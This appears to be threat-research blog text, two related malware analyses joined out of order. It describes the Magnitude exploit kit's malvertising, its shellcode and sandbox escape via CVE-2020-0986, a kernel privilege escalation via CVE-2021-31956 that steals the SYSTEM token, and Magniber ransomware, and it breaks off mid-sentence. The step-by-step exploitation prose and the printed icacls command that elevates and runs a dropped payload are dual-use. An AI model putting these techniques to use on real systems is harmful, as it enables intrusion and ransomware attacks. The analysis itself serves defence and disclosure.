When the specially crafted NTFS Extended Attributes are set, the exploit proceeds to spray the paged pool with <code>_WNF_NAME_INSTANCE</code> and <code>_WNF_STATE_DATA</code> structures. These structures are sprayed using the syscalls <code>NtCreateWnfStateName</code> and <code>NtUpdateWnfStateData</code>, respectively. The exploit then creates 10 000 extra <code>_WNF_STATE_DATA</code> structures in a row and frees each other one using <code>NtDeleteWnfStateData</code>. This creates holes between <code>_WNF_STATE_DATA</code> chunks, which are likely to get reclaimed on future pool allocations of similar size.&nbsp;With this in mind, the exploit now triggers the vulnerability using <code>NtQueryEaFile</code>, with a high likelihood of getting a pool chunk preceding a random <code>_WNF_STATE_DATA</code> chunk and thus overflowing into that chunk. If that really happens, the <code>_WNF_STATE_DATA</code> structure will get corrupted as shown below. However, the exploit doesn’t know which <code>_WNF_STATE_DATA</code> structure got corrupted, if any. To find the corrupted structure, it has to iterate over all of them and query its <code>ChangeStamp</code> using <code>NtQueryWnfStateData</code>. If the <code>ChangeStamp</code> contains the magic number <code>0xcafe</code>, the exploit found the corrupted chunk. In case the overflow does not hit any <code>_WNF_STATE_DATA</code> chunk, the exploit just simply tries triggering the vulnerability again, up to 32 times. Note that in case the overflow didn’t hit a <code>_WNF_STATE_DATA</code> chunk, it might have corrupted a random chunk in the paged pool, which could result in a BSoD. However, during our testing of the exploit, we didn’t get any BSoDs during normal exploitation, which suggests that the pool spraying technique used by the attackers is relatively robust.

After a successful <code>_WNF_STATE_DATA</code> corruption, more <code>_WNF_NAME_INSTANCE</code> structures get sprayed on the pool, with the idea that they will reclaim the other chunks freed by <code>NtDeleteWnfStateData</code>. By doing this, the attackers are trying to position a <code>_WNF_NAME_INSTANCE</code> chunk after the corrupted <code>_WNF_STATE_DATA</code> chunk in memory. To explain why they would want this, let’s first discuss what they achieved by corrupting the <code>_WNF_STATE_DATA</code> chunk.The <code>_WNF_STATE_DATA</code> structure can be thought of as a header preceding an actual <code>WnfStateData</code> buffer in memory. The <code>WnfStateData</code> buffer can be read using the syscall <code>NtQueryWnfStateData</code> and written to using <code>NtUpdateWnfStateData</code>. <code>_WNF_STATE_DATA.AllocatedSize</code> determines how many bytes can be written to <code>WnfStateData</code> and <code>_WNF_STATE_DATA.DataSize</code> determines how many bytes can be read. By corrupting these two fields and setting them to a high value, the exploit gains a relative memory read/write primitive, obtaining the ability to read/write memory even after the original <code>WnfStateData</code> buffer. Now it should be clear why the attackers would want a <code>_WNF_NAME_INSTANCE</code> chunk after a corrupted <code>_WNF_STATE_DATA</code> chunk: they can use the overread/overwrite to have full control over a <code>_WNF_NAME_INSTANCE</code> structure. They just need to perform an overread and scan the overread memory for bytes <code>03 09 A8</code>, which denote the start of their <code>_WNF_NAME_INSTANCE</code> structure. If they want to change something in this structure, they can just modify some of the overread bytes and overwrite them back using <code>NtUpdateWnfStateData</code>.

What is so interesting about a <code>_WNF_NAME_INSTANCE</code> structure, that the attackers want to have full control over it? Well, first of all, at offset <code>0x98</code> there is <code>_WNF_NAME_INSTANCE.CreatorProcess</code>, which gives them a pointer to <code>_EPROCESS</code> relevant to the current process. Kaspersky reported that PuzzleMaker used a separate information disclosure vulnerability, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955">CVE-2021-31955</a>, to leak the <code>_EPROCESS</code> base address. However, the attackers behind Magnitude do not need to use a second vulnerability, because the <code>_EPROCESS</code> address is just there for the taking.Another important offset is <code>0x58</code>, which corresponds to <code>_WNF_NAME_INSTANCE.StateData</code>. As the name suggests, this is a pointer to a <code>_WNF_STATE_DATA</code> structure. By modifying this, the attackers can not only enlarge the <code>WnfStateData</code> buffer but also redirect it to an arbitrary address, which gives them an arbitrary read/write primitive. There are some constraints though, such as that the <code>StateData</code> pointer has to point <code>0x10</code> bytes before the address that is to be read/written and that there has to be some data there that makes sense when interpreted as a <code>_WNF_STATE_DATA</code> structure.The <code>StateData</code> pointer gets first set to <code>_EPROCESS+0x28</code>, which allows the exploit to read <code>_KPROCESS.ThreadListHead</code> (interestingly, this value gets leaked using <code>ChangeStamp</code> and <code>DataSize</code>, not through <code>WnfStateData</code>). The <code>ThreadListHead</code> points to <code>_KTHREAD.ThreadListEntry</code> of the first thread, which is the current thread in the context of Chromium exploitation. By subtracting the offset of <code>ThreadListEntry</code>, the exploit gets the <code>_KTHREAD</code> base address for the current thread.&nbsp;With the base address of <code>_KTHREAD</code>, the exploit points <code>StateData</code> to <code>_KTHREAD+0x220</code>, which allows it to read/write up to three bytes starting from <code>_KTHREAD+0x230</code>. It uses this to set the byte at <code>_KTHREAD+0x232</code> to zero. On the targeted Windows builds, the offset <code>0x232</code> corresponds to <code>_KTHREAD.PreviousMode</code>. Setting its value to <code>SystemMode=0</code> tricks the kernel into believing that some of the thread’s syscalls are actually originating from the kernel. Specifically, this allows the thread to use the <code>NtReadVirtualMemory</code> and <code>NtWriteVirtualMemory</code> syscalls to perform reads and writes to the kernel address space.

As was the case in the Chromium exploit, the attackers here just traded an arbitrary read/write primitive for yet another arbitrary read/write primitive. However, note that the new primitive based on <code>PreviousMode</code> is a significant upgrade compared to the original <code>StateData</code> one. Most importantly, the new primitive is free of the constraints associated with the original one. The new primitive is also more reliable because there are no longer race conditions that could potentially cause a BSoD. Not to mention that just simply calling <code>NtWriteVirtualMemory</code> is much faster and much less awkward than abusing multiple WNF-related syscalls to achieve the same result.With a robust arbitrary read/write primitive in place, the exploit can finally do its thing and proceed to steal the <code>SYSTEM</code> token. Using the leaked <code>_EPROCESS</code> address from before, it finds <code>_EPROCESS.ActiveProcessLinks</code>, which leads to a linked list of other <code>_EPROCESS</code> structures. It iterates over this list until it finds the <code>System</code> process. Then it reads System’s <code>_EPROCESS.Token</code> and assigns this value (with some of the <code>RefCnt</code> bits masked out) to its own <code>_EPROCESS</code> structure. Finally, the exploit also turns off some mitigation flags in <code>_EPROCESS.MitigationFlags</code>.Now, the exploit has successfully elevated privileges and can pass control to the other shellcode, which was designed to load Magniber ransomware. But before it does that, the exploit performs many cleanup actions that are necessary to avoid blue screening later on. It iterates over WNF-related structures using <code>TemporaryNamesList</code> from <code>_EPROCESS.WnfContext</code> and fixes all the <code>_WNF_NAME_INSTANCE</code> structures that got overflown into at the beginning of the exploit. It also attempts to fix the <code>_POOL_HEADER</code> of the overflown <code>_WNF_STATE_DATA</code> chunks. Finally, the exploit gets rid of both read/write primitives by setting <code>_KTHREAD.PreviousMode</code> back to <code>UserMode=1</code> and using one last <code>NtUpdateWnfStateData </code>syscall to restore the corrupted <code>StateData</code> pointer back to its original value.

<h3>Final Thoughts</h3>If this isn’t the first time you’re hearing about Magnitude, you might have noticed that it often exploits vulnerabilities that were previously weaponized by APT groups, who used them as zero-days in the wild. To name a few recent examples, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956">CVE-2021-31956</a> was exploited by <a href="https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/">PuzzleMaker</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26411">CVE-2021-26411</a> was used in a <a href="https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/">high-profile attack</a> targeting security researchers, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0986">CVE-2020-0986</a> was abused in <a href="https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/">Operation Powerfall</a>, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1367">CVE-2019-1367</a> was <a href="https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/">reported</a> to be exploited in the wild by an undisclosed threat actor (who might be DarkHotel APT <a href="https://blogs.360.cn/post/apt-c-06_0day.html">according to Qihoo 360</a>). The fact that the attackers behind Magnitude are so successful in reproducing complex exploits with no public PoCs could lead to some suspicion that they have somehow obtained under-the-counter access to private zero-day exploit samples. After all, we don’t know much about the attackers, but we do know that they are skilled exploit developers, and perhaps Magnitude is not their only source of income. But before we jump to any conclusions, we should mention that there are other, more plausible explanations for why they should prioritize vulnerabilities that were once exploited as zero-days. First, APT groups usually know what they are doing[citation needed]. If an APT group decides that a vulnerability is worth exploiting in the wild, that generally means that the vulnerability is reliably weaponizable. In a way, the attackers behind Magnitude could abuse this to let the APT groups do the hard work of selecting high-quality vulnerabilities for them. Second, zero-days in the wild usually attract a lot of research attention, which means that there are often detailed writeups that analyze the vulnerability’s root cause and speculate about how it could get exploited. These writeups make exploit development a lot easier compared to more obscure vulnerabilities which attracted only a limited amount of research.As we’ve shown in this blog post, both Magnitude and Underminer managed to successfully develop exploit chains for Chromium on Windows. However, none of the exploit chains were particularly successful in terms of the number of exploited victims. So what does this mean for the future of exploit kits? We believe that unless some new, hard-to-patch vulnerability comes up, exploit kits are not something that the average Google Chrome user should have to worry about much. After all, it has to be acknowledged that Google does a great job at patching and reducing the browser’s attack surface. Unfortunately, the same cannot be said for all other Chromium-based browsers. We found that a big portion of those that we protected from Underminer were running Chromium forks that were months (or even years) behind on patching. Because of this, we recommend avoiding Chromium forks that are slow in applying security patches from the upstream. Also note that some Chromium forks might have vulnerabilities in their own custom codebase. But as long as the number of users running the vulnerable forks is relatively low, exploit kit developers will probably not even bother with implementing exploits specific just for them.Finally, we should also mention that it is not entirely impossible for exploit kits to attack using zero-day or n-day exploits. If that were to happen, the attackers would probably carry out a massive burst of malvertising or watering hole campaigns. In such a scenario, even regular Google Chrome users would be at risk. The damage done by such an attack could be enormous, depending on the reaction time of browser developers, ad networks, security companies, LEAs, and other concerned parties. There are basically three ways that the attackers could get their hands on a zero-day exploit: they could either buy it, discover it themselves, or discover it being used by some other threat actor. Fortunately, using some simple math we can see that the campaign would have to be very successful if the attackers wanted to recover the cost of the zero-day, which is likely to discourage most of them. Regarding n-day exploitation, it all boils down to a race if the attackers can develop a working exploit sooner than a patch gets written and rolled out to the end users. It’s a hard race to win for the attackers, but it has been won before. We know of at least <a href="https://github.com/r4j0x00/exploits/commit/d3a21075644a124c1bbc5966d4c43337191db9f6">two</a> <a href="https://web.archive.org/web/20210414162911/https://github.com/avboy1337/1195777-chrome0day/commit/e2a004a0a6cc9bbd3780d6bd585eee1131adbb4f">cases</a> when an n-day exploit working against the latest Google Chrome version was dumped on GitHub (this probably doesn’t need to be written down, but dumping such exploits on GitHub is not a very bright idea). Fortunately, these were just renderer exploits and there were no accompanying sandbox escape exploits (which would be needed for full weaponization). But if it is possible to win the race for one exploit, it’s not unthinkable that an attacker could win it for two exploits at the same time.<h4>Indicators of Compromise (IoCs)</h4><h6>Magnitude</h6>

Chromium Exploits Fail to Gain Traction

Exploit Kits vs. Google Chrome

If I could choose one computer program and erase it from existence, I would choose Internet Explorer. Switching to a different browser would most likely save countless people from getting hacked. Not to mention all the headaches that web developers get when they are tasked with solving Internet Explorer compatibility issues. Unfortunately, I do not have the power to make Internet Explorer disappear. But seeing its browser market share continue to decline year after year at least gives me hope that one day it will be only a part of history.While the overall trend looks encouraging, there are still some countries where the decline in Internet Explorer usage is lagging behind. An interesting example of this is South Korea, where until recently, users often had <a href="https://www.washingtonpost.com/world/asia_pacific/due-to-security-law-south-korea-is-stuck-with-internet-explorer-for-online-shopping/2013/11/03/ffd2528a-3eff-11e3-b028-de922d7a3f47_story.html">no choice but to use this browser</a> if they wanted to visit a government or an e-commerce website. This was because of a law that seems very bizarre from today’s point of view: these websites were required to use <a href="https://www.howtogeek.com/162282/what-activex-controls-are-and-why-theyre-dangerous/">ActiveX controls</a> and were therefore only supported in Internet Explorer. Ironically, these controls were originally meant to provide additional security. While this law was finally dismantled in December 2020, Internet Explorer still has a lot of momentum in South Korea today.&nbsp;The attackers behind the Magnitude Exploit Kit (or Magniťůdek as we like to call it) are exploiting this momentum by running malicious ads that are currently shown only to South Korean Internet Explorer users. The ads can mostly be found on adult websites, which makes this an example of so-called adult malvertising. They contain code that exploits known vulnerabilities in order to give the attackers control over the victim’s computer. All the victim has to do is use a vulnerable version of Microsoft Windows and Internet Explorer, navigate to a page that hosts one of these ads and they will get the <a href="https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/">Magniber</a> ransomware encrypting their computer.

<h2>Overview</h2>The Magnitude exploit kit, originally known as PopAds, has been around since at least 2012, which is an unusually long lifetime for an exploit kit. However, it’s not the same exploit kit today that it was nine years ago. Pretty much every part of Magnitude has changed multiple times since then. The infrastructure has changed, so has the landing page, the shellcode, the obfuscation, the payload, and most importantly, the exploits. Magnitude currently exploits an Internet Explorer memory corruption vulnerability, <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26411">CVE-2021-26411</a>, to get shellcode execution inside the renderer process and a Windows memory corruption vulnerability, <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0986">CVE-2020-0986</a>, to subsequently elevate privileges. A fully functional exploit for CVE-2021-26411 can be found on the Internet and Magnitude uses that public exploit directly, just with some added obfuscation on top. According to the South Korean cybersecurity company <a href="https://enki.co.kr/blog/2021/02/04/ie_0day">ENKI</a>, this CVE was first used in a targeted attack against security researchers, which Google’s Threat Analysis Group <a href="https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/">attributed to North Korea</a>.Exploiting CVE-2020-0986 is a bit less straightforward. This vulnerability was first used in a zero-day exploit chain, discovered in-the-wild by Kaspersky researchers who named the attack <a href="https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/">Operation PowerFall</a>. To the best of our knowledge, this is the first time this vulnerability is being exploited in-the-wild since that attack. Details about the vulnerability were provided in blog posts by both <a href="https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/">Kaspersky</a> and <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html">Project Zero</a>. While both these writeups contain chunks of the exploit code, it must have still been a lot of work to develop a fully functional exploit. Since the exploit from Magnitude is extremely similar to the code from the writeups, we believe that the attackers started from the code provided in the writeup and then added all the missing pieces to get a working exploit.Interestingly, when we first discovered Magnitude exploiting CVE-2020-0986, it was not weaponized with any malicious payload. All it did after successful exploitation was ping its C&amp;C server with the Windows build number of the victim. At the time, we theorized that this was just a testing version of the exploit and the attackers were trying to figure out which builds of Windows they could exploit before they fully integrated it into the exploit kit. And indeed, a week later we saw an improved version of the exploit and this time, it was carrying the Magniber ransomware as the payload.Until recently, our detections for Magnitude were protecting on average about a thousand Avast users per day. That number dropped to roughly half after the compliance team of one of the ad networks used by Magnitude kicked the attackers out of their platform. Currently, all the protected users have a South Korean IP address, but just a few weeks back, Taiwanese Internet users were also at risk. Historically, South Korea and Taiwan were not the only countries attacked by Magnitude. <a href="https://securelist.com/magnitude-exploit-kit-evolution/97436/">Previous</a> <a href="https://www.fireeye.com/blog/threat-research/2017/10/magniber-ransomware-infects-only-the-right-people.html">reports</a> mention that Magnitude also used to target Hong Kong, Singapore, the USA, and Malaysia, among others.&nbsp;<h2>The Infrastructure</h2>The Magnitude operators are currently buying popunder ads from multiple adult ad networks. Unfortunately, these ad networks allow them to very precisely target the ads to users who are likely to be vulnerable to the exploits they are using. They can only pay for ads shown to South Korean Internet Explorer users who are running selected versions of Microsoft Windows. This means that a large portion of users targeted by the ads is vulnerable and that the attackers do not have to waste much money on buying ads for users that they are unable to exploit. We reached out to the relevant ad networks to let them know about the abuse of their platforms. One of them successfully terminated the attacker’s account, which resulted in a clear drop in the number of Avast users that we had to protect from Magnitude every day.

When the malicious ad is shown to a victim, it redirects them through an intermediary URL to a page that serves an exploit for CVE-2021-26411. An example of this redirect chain is <code>binlo[.]info</code> -&gt; <code>fab9z1g6f74k.tooharm[.]xyz</code> -&gt; <code>6za16cb90r370m4u1ez.burytie[.]top</code>. The first domain, <code>binlo[.]info</code>, is the one that is visible to the ad network. When this domain is visited by someone not targeted by the campaign, it just presents a legitimate-looking decoy ad. We believe that the purpose of this decoy ad is to make the malvertising seem legitimate to the ad network. If someone from the ad network were to verify the ad, they would only see the decoy and most likely conclude that it is legitimate.

The other two domains (<code>tooharm[.]xyz</code> and <code>burytie[.]top</code>) are designed to be extremely short-lived. In fact, the exploit kit rotates these domains every thirty minutes and doesn’t reuse them in any way. This means that the exploit kit operators need to register at least 96 domains every day! In addition to that, the subdomains (<code>fab9z1g6f74k.tooharm[.]xyz</code> and <code>6za16cb90r370m4u1ez.burytie[.]top</code>) are uniquely generated per victim. This makes the exploit kit harder to track and protect against (and more resilient against takedowns) because detection based on domain names is not very effective.The JavaScript exploit for CVE-2021-26411 is obfuscated with what appears to be a custom obfuscator. The obfuscator is being updated semi-regularly, most likely in an attempt to evade signature-based detection. The obfuscator is polymorphic, so each victim gets a uniquely obfuscated exploit. Other than that, there are not many interesting things to say about the obfuscation, it does the usual things like hiding string/numeric constants, renaming function names, hiding function calls, and more.&nbsp;

After deobfuscation, this exploit is an almost exact match to a public exploit for CVE-2021-26411 that is freely available on the Internet. The only important change is in the shellcode, where Magnitude obviously provides its own payload.&nbsp;<h2>Shellcode</h2>The shellcode is sometimes wrapped in a simple packer that uses redundant <code>jmp</code> instructions for obfuscation. This obfuscates every function by randomizing the order of instructions and then adding a <code>jmp</code> instruction between each two consecutive instructions to preserve the original control flow. As with other parts of the shellcode, the order is randomly generated on the fly, so each victim gets a unique copy of the shellcode.

As shown in the above screenshot, the exploit kit prefers not to use standard Windows API functions and instead often invokes system calls directly. The function above uses the <code>NtAllocateVirtualMemory</code> syscall to allocate memory. However, note that this exact implementation only works on Windows 10 under the WoW64 subsystem. On other versions of Windows, the syscall numbers are different, so the syscall number <code>0x18</code> would denote some other syscall. And this exact implementation also wouldn’t work on native 32-bit Windows, because there it does not make sense to call the <code>FastSysCall</code> pointer at <code>FS:[0xC0]</code>.&nbsp;To get around these problems, this shellcode comes in several variants, each custom-built for a specific version of Windows. Each variant then contains hardcoded syscall numbers fitting the targeted version. Magnitude selects the correct shellcode variant based on the User-Agent string of the victim. But sometimes, knowing the major release version and bitness of Windows is not enough to deduce the correct syscall numbers. For instance, the syscall number for <code>NtOpenProcessToken</code> on 64-bit Windows 10 differs between versions <code>1909</code> and <code>20H2</code>. In such cases, the shellcode obtains the victim’s exact <code>NtBuildNumber</code> from <code>KUSER_SHARED_DATA</code> and uses a hardcoded mapping table to resolve that build number into the correct syscall number.&nbsp;Currently, there are only three variants of the shellcode. One for Windows 10 64-bit, one for Windows 7 64-bit, and one for Windows 7 32-bit. However, it is very much possible that additional variants will get implemented in the future.To facilitate frequent syscall invocation, the shellcode makes use of what we call syscall templates. Below, you can see the syscall template it uses in the WoW64 Windows 10 variant. Every time the shellcode is about to invoke a syscall, it first customizes this template for the syscall it intends to invoke by patching the syscall number (the immediate in the first instruction) and the immediates from the <code>retn</code> instructions (which specify the number of bytes to release from the stack on function return). Once the template is customized, the shellcode can call it and it will invoke the desired syscall. Also, note the branching based on the value at offset <code>0x254</code> of the Process Environment Block. This is most likely the malware authors trying to check a field <a href="https://github.com/cseagle/sk3wldbg/blob/88109edc6d11994bf77baac16c38f0e0c4907127/teb32.h#L806">sometimes called</a> <code>dwSystemCallMode</code> to find out if the syscall should be invoked directly using <code>int 0x2e</code> or through the <code>FastSysCall</code> transition.

Now that we know how the shellcode is obfuscated and how it invokes syscalls, let’s get to what it actually does. Note that the shellcode expects to run within the IE’s <a href="https://www.blackhat.com/docs/asia-14/materials/Yason/WP-Asia-14-Yason-Diving-Into-IE10s-Enhanced-Protected-Mode-Sandbox.pdf">Enhanced Protected Mode (EPM) sandbox</a>, so it is relatively limited in what it can do. However, the EPM sandbox is not as strict as it could be, which means that the shellcode still has limited filesystem access, public network access and can successfully call many API functions. Magnitude wants to get around the restrictions imposed by the sandbox and so the shellcode primarily functions as a preparation stage for the LPE exploit which is intended to enable Magnitude to break out of the sandbox.The first thing the shellcode does is that it obtains the integrity level of the current process. There are two URLs embedded in the shellcode and the integrity level is used to determine which one should be used. Both URLs contain a subdomain that is generated uniquely per victim and are protected so that only the intended victim will get any response from them. If the integrity level is <code>Low</code> or <code>Untrusted</code>, the shellcode reaches out to the first URL and downloads an encrypted LPE exploit from there. The exploit is then decrypted using a simple xor-based cipher, mapped into executable memory, and executed.On the other hand, if the integrity level is <code>Medium</code> or higher, the shellcode determines that it is not running in a sandbox and it skips the LPE exploit. In such cases, it downloads the final payload (currently Magniber ransomware) from the second URL, decrypts it, and then starts searching for a process that it could inject this payload into. For the 64-bit Windows shellcode variants, the target process needs to satisfy all of the following conditions:<ul><li data-list-item-id="e348d4b2860ae0aa76fe58e4ba3d2e6e2">The target process name is not <code>iexplore.exe</code></li><li data-list-item-id="e19d6abe331322520da5818b270337035">The integrity level of the target process is not <code>Low</code> or <code>Untrusted</code></li><li data-list-item-id="ec00b8dcef8395107655c46607e33afac">The integrity level of the target process is not higher than the integrity level of the current process</li><li data-list-item-id="ede4f184727a60403c4e4a5182e469a5e">The target process is not running in the WoW64 environment</li><li data-list-item-id="ea6a8a16a49d0b63fc363fb95419a5cce">(The target process can be opened with <code>PROCESS_QUERY_INFORMATION</code>)</li></ul>Once a suitable target process is found, the shellcode jumps through the Heaven’s Gate (only in the WoW64 variants) and injects the payload into the target process using the following sequence of syscalls: <code>NtOpenProcess</code> -&gt; <code>NtCreateSection</code> -&gt; <code>NtMapViewOfSection</code> -&gt; <code>NtCreateThreadEx</code> -&gt; <code>NtGetContextThread</code> -&gt; <code>NtSetContextThread</code> -&gt; <code>NtResumeThread</code>. Note that in this execution chain, everything happens purely in memory and this is why Magnitude is often described as a fileless exploit kit. However, the current version is not entirely fileless because, as will be shown in the next section, the LPE exploit drops a helper PE file to the filesystem.

<h2>CVE-2020-0986</h2>Magnitude escapes the EPM sandbox by exploiting CVE-2020-0986, a memory corruption vulnerability in <code>splwow64.exe</code>. Since the vulnerable code is running with medium integrity and a low integrity process can trigger it using Local Procedure Calls (LPC), this vulnerability can be used to get from the EPM sandbox to medium integrity. CVE-2020-0986 and the ways to exploit it are already discussed in detail in blog posts by both <a href="https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/">Kaspersky</a> and <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html">Project Zero</a>. This section will therefore focus on Magnitude’s implementation of the exploit, please refer to the other blog posts for further technical details about the vulnerability.&nbsp;The vulnerable code from <code>gdi32.dll</code> can be seen below. It is a part of an LPC server and it can be triggered by an LPC call, with both <code>r8</code> and <code>rdi</code> pointing into a memory section that is shared between the LPC client and the LPC server. This essentially gives the attacker the ability to call <code>memcpy</code> inside the <code>splwow64</code> process while having control over all three arguments, which can be immediately converted into an arbitrary read/write primitive. Arbitrary read is just a call to <code>memcpy</code> with the <code>dest</code> being inside the shared memory and <code>src</code> being the target address. Conversely, arbitrary write is a call to <code>memcpy</code> with the <code>dest</code> being the target address and the <code>src</code> being in the shared memory.

However, there is one tiny problem that makes exploitation a bit more difficult. As can be seen in the disassembled code above, the <code>count</code> of the <code>memcpy</code> is obtained by adding the dereferenced content of two word pointers, located close by the <code>src</code> address. This is not a problem for (smaller) arbitrary writes, since the attacker can just plant the desired <code>count</code> beforehand into the shared memory. But for arbitrary reads, the <code>count</code> is not directly controllable by the attacker and it can be anywhere between <code>0</code> and <code>0x1FFFE</code>, which could either crash <code>splwow64</code> or perform a <code>memcpy</code> with either zero or a smaller than desired <code>count</code>. To get around this, the attacker can perform arbitrary reads by triggering the vulnerable code twice. The first time, the vulnerability can be used as an arbitrary write to plant the correct <code>count</code> at the necessary offset and the second time, it can be used to actually read the desired memory content. This technique has some downsides, such as that it cannot be used to read non-writable memory, but that is not an issue for Magnitude.The exploit starts out by creating a named mutex to make sure that there is only a single instance of it running. Then, it calls <code>CreateDCW</code> to spawn the <code>splwow64</code> process that is to be exploited and performs all the necessary preparations to enable sending LPC messages to it later on. The exploit also contains an embedded 64-bit PE file, which it drops to <code>%TEMP%</code> and executes from there. This PE file serves two different purposes and decides which one to fulfill based on whether there is a command-line argument or not. The first purpose is to gather various 64-bit pointers and feed them back to the main exploit module. The second purpose is to serve as a loader for the final payload once the vulnerability has been successfully exploited.There are three pointers that are obtained by the dropped 64-bit PE file when it runs for the first time. The first one is the address of <code>fpDocumentEvent</code>, which stores a pointer to <code>DocumentEvent</code>, protected using the <code>EncodePointer</code> function. This pointer is obtained by scanning <code>gdi32.dll</code> (or <code>gdi32full.dll</code>) for a static sequence of instructions that set the value at this address. The second pointer is the actual address of <code>DocumentEvent</code>, as exported from <code>winspool.drv</code> and the third one is the pointer to <code>system</code>, exported from <code>msvcrt.dll</code>. Once the 64-bit module has all three pointers, it drops them into a temporary file and terminates itself.

The main 32-bit module then reads the dropped file and uses the obtained values during the actual exploitation, which can be characterized by the following sequence of actions:<ol><li data-list-item-id="ed16251cc89ed97fb621fa4d6ee641740">The exploit leaks the value at the address of <code>fpDocumentEvent</code> in the <code>splwow64</code> process. The value is leaked by sending two LPC messages, using the arbitrary read primitive described above.</li><li data-list-item-id="e8226642fb14016261b5c026f59398b46">The leaked value is an encoded pointer to <code>DocumentEvent</code>. Using this encoded pointer and the actual, raw, pointer to <code>DocumentEvent</code>, the exploit cracks the secret value that was used for pointer encoding. Read the Kaspersky <a href="https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/">blog post</a> for how this can be done.</li><li data-list-item-id="ef3981622b79ec5a818b5749df0b3e548">Using the obtained secret value, the exploit encodes the pointer to <code>system</code>, so that calling the function <code>DecodePointer</code> on this newly encoded value inside <code>splwow64</code> will yield the raw pointer to <code>system</code>.</li><li data-list-item-id="e0bbfbcd3641154ed2edded94aa676d39">Using the arbitrary write primitive, the exploit overwrites <code>fpDocumentEvent</code> with the encoded pointer to <code>system</code>.</li><li data-list-item-id="e784771808a882489ba087bc0b78f7166">The exploit triggers the vulnerable code one more time. Only this time, it is not interested in any memory copying, so it sets the <code>count</code> for <code>memcpy</code> to zero. Instead, it counts on the fact that <code>splwow64</code> will try to decode and call the pointer at <code>fpDocumentEvent</code>. Since this pointer was substituted in the previous step, <code>splwow64</code> will call <code>system</code> instead of <code>DocumentEvent</code>. The first argument to <code>DocumentEvent</code> is read from the shared memory section, which means that it is controllable by the attacker, who can therefore pass an arbitrary command to <code>system</code>.&nbsp;</li><li data-list-item-id="e106c2fdf694a6ab00613b8b14132f0b3">Finally, the exploit uses the arbitrary write primitive one last time and restores <code>fpDocumentEvent</code> to its original value. This is an attempt to clean up after the exploit, but <code>splwow64</code> might still be unstable because a random pointer got corrupted when the exploit planted the necessary <code>count</code> of the leak during the first step.</li></ol>

The command that Magnitude executes in the call to <code>system</code> looks like this:<code>icacls &lt;dropped_64bit_PE&gt; /Q /C /setintegritylevel Medium &amp;&amp; &lt;dropped_64bit_PE&gt;</code>This elevates the dropped 64-bit PE file to medium integrity and executes it for the second time. This time, it will not gather any pointers, but it will instead extract an embedded payload from within itself and inject it into a suitable process. Currently, the injected payload is the Magniber ransomware.<h2>Magniber</h2>Magniber <a href="https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/">emerged in 2017</a> when Magnitude started deploying it as a replacement for the Cerber ransomware. Even though it is almost four years old, it still gets updated frequently and so a lot has changed since it was <a href="https://www.mdpi.com/2079-9292/10/1/16/">last written about</a>. The early versions featured server-side AES key generation and contained constant fallback encryption keys in case the server was unreachable. A decryptor that worked when encryption was performed using these fallback keys was developed by the Korea Internet &amp; Security Agency and published on <a href="https://www.nomoreransom.org/">No More Ransom</a>. The attackers responded to this by updating Magniber to generate the encryption keys locally, but the custom PRNG based on <code>GetTickCount</code> was very weak, so researchers from Kookmin University were able to <a href="https://www.mdpi.com/2079-9292/10/1/16/">develop a method</a> to recover the encrypted files. Unfortunately, Magniber got updated again, and it is currently using the custom PRNG shown below. This function is used to generate a single random byte and it is called 32 times per encrypted file (16 times to generate the AES-128 key and 16 times to generate the IV).&nbsp;While this PRNG still looks very weak at first glance, we believe there is no reasonably efficient method to attack it. The tick count is not the problem here: it is with extremely high probability going to be constant throughout all iterations of the loop and its value could be guessed by inspecting event logs and timestamps of the encrypted files. The problem lies in the <code>RtlRandomEx</code> function, which gets called 640 times (2 * 10 * (16 + 16)) per each encrypted file. This means that the function is likely going to get called millions of times during encryption and leaking and tracking its internal state throughout all of these calls unfortunately seems infeasible. At best, it might be possible to decrypt the first few encrypted files. And even that wouldn’t be possible on newer CPUs and Windows versions, because <code>RtlRandomEx</code> there internally uses the <code>rdrand</code> instruction, which arguably makes this a somewhat decent PRNG for cryptography.&nbsp;

The ransomware starts out by creating a named mutex and generating an identifier from the victim’s computer name and volume serial number. Then, it enumerates in random order all logical drives that are not <code>DRIVE_NO_ROOT_DIR</code> or <code>DRIVE_CDROM</code> and proceeds to recursively traverse them to encrypt individual files. Some folders, such as <code>sample music</code> or <code>tor browser</code>, are excluded from encryption, same as all hidden, system, readonly, temporary, and virtual files. The full list of excluded folders can be found in our <a href="https://github.com/avast/ioc/blob/master/Magnitude/excluded_folders.txt">IoC repository</a>.Just like many other ransomware strains, Magniber only encrypts files with certain preselected extensions, such as <code>.doc</code> or <code>.xls</code>. Its configuration contains two sets of extension hashes and each file gets encrypted only if the hash of its extension can be found in one of these sets. The division into two sets was presumably done to assign priority to the extensions. Magniber goes through the whole filesystem in two sweeps. In the first one, it encrypts files with extensions from the higher-priority set. In the second sweep, it encrypts the rest of the files with extensions from the lower-priority set. Interestingly, the higher-priority set also contains nine extensions that were additionally obfuscated, unlike the rest of the higher-priority set. It seems that the attackers were trying to hide these extensions from reverse engineers. You can find these and the other extensions that Magniber encrypts in our <a href="https://github.com/avast/ioc/blob/master/Magnitude/extensions.txt">IoC repository</a>.To encrypt a file, Magniber first generates a random 128-bit AES key and IV using the PRNG discussed above. For some bizarre reason, it only chooses to generate bytes from the range <code>0x03</code> to 